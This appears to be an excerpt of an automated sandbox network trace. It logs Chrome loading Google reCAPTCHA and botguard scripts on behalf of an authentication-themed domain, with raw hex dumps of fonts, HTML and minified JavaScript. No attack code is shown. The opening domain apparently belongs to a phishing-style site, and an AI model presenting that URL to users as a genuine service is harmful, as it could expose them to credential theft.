https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:50 UTC	1161	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 15 Jan 2025 09:06:50 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-OIs4awU45kPVLhhUyzzWSw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:06:50 UTC	229	IN	Data Raw: 35 37 65 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 Data Ascii: 57e6<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cy
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 41 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 Data Ascii: rillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A64
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 42 41 2c 20 55 2b 30 32 42 44 2d 30 32 43 35 2c 20 55 2b 30 32 43 37 2d 30 32 43 43 2c 20 55 2b 30 32 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 Data Ascii: font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/* greek */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 Data Ascii: ormat('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* cyrillic-ext */@font-face { font-family: '
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 43 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 32 2d 30 31 30 33 2c 20 55 2b 30 31 31 30 2d 30 31 31 31 2c 20 55 2b 30 31 32 38 2d 30 31 32 39 2c 20 55 2b 30 31 36 38 2d 30 31 36 39 2c 20 55 2b 30 31 41 30 2d 30 31 41 31 2c 20 55 2b 30 31 41 46 2d 30 31 42 30 2c 20 55 2b 30 33 30 30 2d 30 33 30 31 2c 20 55 2b 30 33 30 33 2d 30 33 30 34 2c 20 55 2b 30 33 30 38 2d 30 33 30 39 2c 20 55 2b 30 33 32 33 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 41 30 2d 31 45 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a Data Ascii: /s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;}/* latin-ext */
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 42 64 34 58 50 55 68 4b 44 77 72 30 59 4c 31 4a 73 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 22 20 6e 6f 6e 63 65 3d 22 4f 49 73 34 61 77 55 34 35 6b 50 56 4c 68 68 55 79 7a 7a 57 53 77 22 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 72 63 2d 61 6e 63 68 6f 72 2d 61 6c 65 72 74 22 20 63 6c 61 73 73 3d 22 72 63 2d 61 6e 63 68 6f 72 2d 61 6c 65 72 74 22 3e 3c 2f 64 69 76 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 2d 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 30 33 41 46 63 57 65 41 37 7a 4e 2d 71 42 6b 51 4e 4c 63 6d 54 76 47 50 70 72 54 65 2d 6d 66 72 4e 79 6b 30 6d 7a 32 37 50 78 4d 54 37 69 4f Data Ascii: Bd4XPUhKDwr0YL1Js/recaptcha__en.js" nonce="OIs4awU45kPVLhhUyzzWSw"> </script></head><body><div id="rc-anchor-alert" class="rc-anchor-alert"></div><input type="hidden" id="recaptcha-token" value="03AFcWeA7zN-qBkQNLcmTvGPprTe-mfrNyk0mz27PxMT7iO
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 71 73 35 4e 45 76 47 76 73 55 36 50 73 30 73 59 43 50 71 58 68 51 47 35 5a 70 77 4c 6d 72 46 6c 64 6a 71 35 38 75 6d 32 41 37 74 4b 55 52 78 45 4f 51 6c 66 56 30 34 43 66 74 70 35 7a 32 44 73 4b 6a 32 74 38 4b 65 52 6c 77 6b 38 4b 79 30 79 70 62 74 65 4d 45 49 5f 71 6d 79 74 61 32 32 77 56 4c 52 7a 6f 74 55 54 78 68 71 5a 4e 52 67 38 6b 46 4c 79 73 4e 37 53 79 78 44 54 4b 45 52 72 32 71 4c 4f 78 6c 35 46 58 70 5f 54 76 46 73 7a 46 50 5a 2d 2d 66 32 67 32 52 36 56 35 79 64 6e 55 38 49 67 73 2d 56 72 79 32 6c 4b 58 6c 42 56 59 6e 4e 51 7a 71 4c 75 51 71 35 4d 6e 67 63 58 34 62 6a 75 30 78 4b 79 53 39 41 59 47 53 2d 4c 70 39 56 44 4f 6d 59 4f 69 30 79 31 54 56 41 66 62 69 53 32 59 67 47 4d 41 49 63 30 30 65 48 36 49 31 58 4d 5f 30 37 33 66 34 78 71 64 77 32 Data Ascii: qs5NEvGvsU6Ps0sYCPqXhQG5ZpwLmrFldjq58um2A7tKURxEOQlfV04Cftp5z2DsKj2t8KeRlwk8Ky0ypbteMEI_qmyta22wVLRzotUTxhqZNRg8kFLysN7SyxDTKERr2qLOxl5FXp_TvFszFPZ--f2g2R6V5ydnU8Igs-Vry2lKXlBVYnNQzqLuQq5MngcX4bju0xKyS9AYGS-Lp9VDOmYOi0y1TVAfbiS2YgGMAIc00eH6I1XM_073f4xqdw2
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 33 5a 75 54 56 46 4c 55 33 4a 5a 4f 47 5a 76 63 58 42 52 57 57 59 34 53 6a 59 77 57 56 68 53 64 7a 6b 34 4d 6c 63 76 4d 32 39 6f 55 6d 39 47 65 56 64 74 5a 33 46 6a 4f 55 56 44 53 44 64 46 51 30 6c 76 61 6d 6c 79 53 6c 70 79 65 45 39 4b 53 44 56 46 4d 6c 6c 4d 53 47 5a 78 52 48 46 73 64 6a 6c 48 53 6c 70 56 52 54 49 34 62 56 56 4e 4c 30 4e 78 4e 55 4a 71 52 48 52 78 4e 55 64 4f 4d 53 39 4d 56 53 39 75 64 43 74 7a 63 54 41 30 56 32 4a 33 4e 47 70 77 4e 45 56 54 65 53 73 76 52 6b 31 57 52 57 5a 77 57 57 35 73 65 48 64 4a 55 55 35 34 4e 44 68 77 57 6d 34 7a 4f 55 4e 44 57 54 52 36 54 7a 4a 6a 62 58 45 34 62 6d 6f 35 51 58 4d 7a 62 6b 52 68 65 47 52 50 4d 6a 64 33 61 30 70 4c 64 30 52 70 53 45 74 46 63 6a 4a 4b 53 53 73 30 56 55 64 46 55 55 30 78 61 6b 70 54 Data Ascii: 3ZuTVFLU3JZOGZvcXBRWWY4SjYwWVhSdzk4MlcvM29oUm9GeVdtZ3FjOUVDSDdFQ0lvamlySlpyeE9KSDVFMllMSGZxRHFsdjlHSlpVRTI4bVVNL0NxNUJqRHRxNUdOMS9MVS9udCtzcTA0V2J3NGpwNEVTeSsvRk1WRWZwWW5seHdJUU54NDhwWm4zOUNDWTR6TzJjbXE4bmo5QXMzbkRheGRPMjd3a0pLd0RpSEtFcjJKSSs0VUdFUU0xakpT
2025-01-15 09:06:50 UTC	1390	IN	Data Raw: 6d 57 6d 39 52 5a 6d 38 30 52 55 46 51 63 43 39 31 4d 55 35 70 51 31 42 58 54 30 51 31 4f 45 68 71 65 69 39 4c 4b 30 39 34 57 58 42 54 56 6b 52 74 54 57 39 6f 4e 6d 68 75 56 30 46 58 63 6c 68 7a 56 55 77 72 53 32 6c 68 52 47 4d 33 63 30 5a 50 53 55 6c 47 55 7a 49 72 59 32 67 31 5a 6e 4a 54 55 57 56 35 65 48 5a 45 52 54 68 51 57 58 70 32 57 55 70 4c 55 6b 52 30 56 45 78 6d 59 57 39 61 4b 33 52 46 52 30 74 46 62 6a 45 35 61 32 56 49 5a 6b 35 30 62 56 46 69 56 30 35 4d 55 45 74 53 63 31 68 61 4d 58 56 4b 65 56 4e 6b 63 56 4e 45 51 31 56 7a 55 6b 67 32 64 69 39 52 51 31 46 6f 4d 45 52 49 4e 46 52 43 62 45 52 30 57 45 68 36 4d 6a 52 53 56 56 64 36 4b 32 35 4d 51 30 70 31 53 32 34 76 59 32 56 59 4f 45 5a 6e 61 33 52 54 62 55 74 55 62 6c 6f 34 65 43 74 77 53 56 Data Ascii: mWm9RZm80RUFQcC91MU5pQ1BXT0Q1OEhqei9LK094WXBTVkRtTW9oNmhuV0FXclhzVUwrS2lhRGM3c0ZPSUlGUzIrY2g1ZnJTUWV5eHZERThQWXp2WUpLUkR0VExmYW9aK3RFR0tFbjE5a2VIZk50bVFiV05MUEtSc1haMXVKeVNkcVNEQ1VzUkg2di9RQ1FoMERINFRCbER0WEh6MjRSVVd6K25MQ0p1S24vY2VYOEZna3RTbUtUblo4eCtwSV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49770	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:52 UTC	888	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB&co=aHR0cHM6Ly9vbmxpbmVhdXRoZW50aWNhdGlvbnJlbGF5c2VydmljZXMucm5hbnRlbmd1LmNvbTo0NDM.&hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&size=normal&cb=jb7dkno2oub8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:52 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Wed, 15 Jan 2025 09:06:52 GMT Date: Wed, 15 Jan 2025 09:06:52 GMT Cache-Control: private, max-age=300 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Cross-Origin-Resource-Policy: same-site Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:06:52 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 31 42 71 5f 6f 69 4d 42 64 34 58 50 55 68 4b 44 77 72 30 59 4c 31 4a 73 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/recaptcha__en.js');
2025-01-15 09:06:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49771	142.250.185.228	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:52 UTC	876	OUT	GET /js/bg/CY4IdQ8PNOqs9ugPxTaJh2hYWy8m1lFu__OIecPWn-w.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB&co=aHR0cHM6Ly9vbmxpbmVhdXRoZW50aWNhdGlvbnJlbGF5c2VydmljZXMucm5hbnRlbmd1LmNvbTo0NDM.&hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js&size=normal&cb=jb7dkno2oub8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:52 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18936 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 15 Jan 2025 05:34:32 GMT Expires: Thu, 15 Jan 2026 05:34:32 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 30 Dec 2024 11:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 12740 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-15 09:06:52 UTC	579	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 50 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 5a 29 7b 69 66 28 5a 3d 28 56 3d 6e 75 6c 6c 2c 4b 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 21 5a 7c 7c 21 5a 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 56 3b 74 72 79 7b 56 3d 5a 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 59 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 59 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 59 7d 29 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var P=function(V,Z){if(Z=(V=null,K).trustedTypes,!Z\|\|!Z.createPolicy)return V;try{V=Z.createPolicy("bg",{createHTML:Y,createScript:Y,createScriptURL:Y})}
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 5a 6e 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 2c 50 2c 53 2c 51 2c 49 29 7b 72 65 74 75 72 6e 28 53 3d 28 59 3d 5b 2d 34 39 2c 37 36 2c 37 31 2c 2d 34 2c 36 32 2c 2d 32 30 2c 59 2c 2d 31 35 2c 36 35 2c 2d 34 30 5d 2c 50 3d 28 49 3d 56 70 2c 6c 26 37 29 2c 43 29 5b 56 2e 4c 5d 28 56 2e 6e 53 29 2c 53 29 5b 56 2e 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 57 29 7b 50 2b 3d 36 2b 28 51 3d 57 2c 37 29 2a 6c 2c 50 26 3d 37 7d 2c 53 2e 63 6f 6e 63 61 74 3d 66 75 6e 63 74 69 6f 6e 28 57 29 7b 72 65 74 75 72 6e 28 28 51 3d 28 57 3d 28 57 3d 2b 28 57 3d 5a 25 31 36 2b 31 2c 59 29 5b 50 2b 37 35 26 37 5d 2a 5a 2a 57 2d 31 36 30 2a Data Ascii: License-Identifier: Apache-2.0','/','var Zn=function(Z,V,l,Y,P,S,Q,I){return(S=(Y=[-49,76,71,-4,62,-20,Y,-15,65,-40],P=(I=Vp,l&7),C)[V.L](V.nS),S)[V.L]=function(W){P+=6+(Q=W,7)l,P&=7},S.concat=function(W){return((Q=(W=(W=+(W=Z%16+1,Y)[P+75&7]ZW-160*
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 6c 69 63 65 22 29 29 72 65 74 75 72 6e 22 61 72 72 61 79 22 3b 69 66 28 6c 3d 3d 22 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 22 7c 7c 74 79 70 65 6f 66 20 5a 2e 63 61 6c 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 20 5a 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 21 5a 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 28 22 63 61 6c 6c 22 29 29 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 7d 65 6c 73 65 20 72 65 74 75 72 6e 22 6e 75 6c 6c 22 3b 65 6c 73 65 20 69 66 28 56 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 5a 2e 63 61 6c 6c 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3b 72 65 74 Data Ascii: lice"))return"array";if(l=="[object Function]"\|\|typeof Z.call!="undefined"&&typeof Z.propertyIsEnumerable!="undefined"&&!Z.propertyIsEnumerable("call"))return"function"}else return"null";else if(V=="function"&&typeof Z.call=="undefined")return"object";ret
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 59 5b 50 2b 2b 5d 3d 56 3e 3e 31 38 7c 32 34 30 2c 59 5b 50 2b 2b 5d 3d 56 3e 3e 31 32 26 36 33 7c 31 32 38 29 3a 59 5b 50 2b 2b 5d 3d 56 3e 3e 31 32 7c 32 32 34 2c 59 5b 50 2b 2b 5d 3d 56 3e 3e 36 26 36 33 7c 31 32 38 29 2c 59 5b 50 2b 2b 5d 3d 56 26 36 33 7c 31 32 38 29 3b 72 65 74 75 72 6e 20 59 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 29 7b 69 66 28 56 3d 56 2e 4b 5b 5a 5d 2c 56 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 5b 58 2c 33 30 2c 5a 5d 3b 69 66 28 56 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 56 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 20 56 2e 63 72 65 61 74 65 28 5a 2a 34 2a 5a 2b 37 36 2a 5a 2b 35 33 29 2c 56 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 57 71 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 29 7b 66 6f 72 28 59 3d Data Ascii: Y[P++]=V>>18\|240,Y[P++]=V>>12&63\|128):Y[P++]=V>>12\|224,Y[P++]=V>>6&63\|128),Y[P++]=V&63\|128);return Y},g=function(Z,V){if(V=V.K[Z],V===void 0)throw[X,30,Z];if(V.value)return V.create();return V.create(Z4Z+76*Z+53),V.prototype},Wq=function(Z,V,l,Y){for(Y=
